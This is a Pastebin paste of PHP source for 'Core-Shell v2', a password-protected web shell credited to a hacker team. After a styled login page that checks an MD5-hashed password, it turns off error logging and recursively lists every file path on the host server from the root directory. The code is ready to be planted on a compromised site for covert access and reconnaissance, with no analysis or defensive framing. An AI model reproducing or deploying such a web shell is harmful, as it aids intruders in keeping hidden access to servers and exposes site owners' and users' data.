Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- $auth_pass = "a8692d0d5adc2b62ead8da107e05f486"; //default = core-v2
- function printLogin(){
- ?>
- <html>
- <head>
- <title> Core-Shell v2 </title>
- <style>
- body {
- color: #DF0000;
- background:#000000;
- }
- *,
- *:before,
- *:after {
- box-sizing: border-box;
- }
- form {
- border: 1px solid #c6c7cc;
- border-radius: 5px;
- font: 14px/1.4 "Helvetica Neue", Helvetica, Arial, sans-serif;
- overflow: hidden;
- width: 240px;
- }
- fieldset {
- border: 0;
- margin: 0;
- padding: 0;
- }
- input {
- border-radius: 5px;
- font: 14px/1.4 "Helvetica Neue", Helvetica, Arial, sans-serif;
- margin: 0;
- }
- .account-info {
- padding: 20px 20px 0 20px;
- }
- .account-info label {
- color: #395870;
- display: block;
- font-weight: bold;
- margin-bottom: 20px;
- }
- .account-info input {
- background: #fff;
- border: 1px solid #c6c7cc;
- box-shadow: inset 0 1px 1px rgba(0, 0, 0, .1);
- color: #636466;
- padding: 6px;
- margin-top: 6px;
- width: 100%;
- }
- .account-action {
- background: #f0f0f2;
- border-top: 1px solid #c6c7cc;
- padding: 20px;
- }
- .account-action .btn {
- background: linear-gradient(#49708f, #293f50);
- border: 0;
- color: #fff;
- cursor: pointer;
- font-weight: bold;
- float: left;
- padding: 8px 16px;
- }
- .account-action label {
- color: #7c7c80;
- font-size: 12px;
- float: left;
- margin: 10px 0 0 20px;
- }
- </style>
- <body>
- <center>
- <h1> Core-Shell v2 By Aihara Anwaru </h1>
- <a href='http://mrlover21.org' title='Falcon-G21 Team Dark' target='_blank'><img src='http://ninjakiwi.com/dev/clan-assets/clan-shields/Shield_Falcons.png' width='200' height='200'></a>
- <form action="" method="post">
- <fieldset class="account-info">
- <label>
- Password
- <input type="password" name="pass">
- </label>
- </fieldset>
- <fieldset class="account-action">
- <input class="btn" type="submit" name="sub" value="Login">
- </fieldset>
- </form>
- <center><address>Copyright © 2015 Falcon-G21 Team Dark</address></center>
- <?php
- exit;
- }
- if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
- if( empty( $auth_pass ) ||
- ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )
- $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
- else
- printLogin();
- //=============================================================================
- @ini_set('log_errors',0);
- @ini_set('output_buffering',0);
- $directory = '/';
- $it = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory));
- while($it->valid()) {
- if (!$it->isDot()) {
- echo 'SubPathName: ' . $it->getSubPathName() . "<br />";
- echo 'SubPath: ' . $it->getSubPath() . "<br />";
- echo 'Key: ' . $it->key() . "<br />";
- }
- $it->next();
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment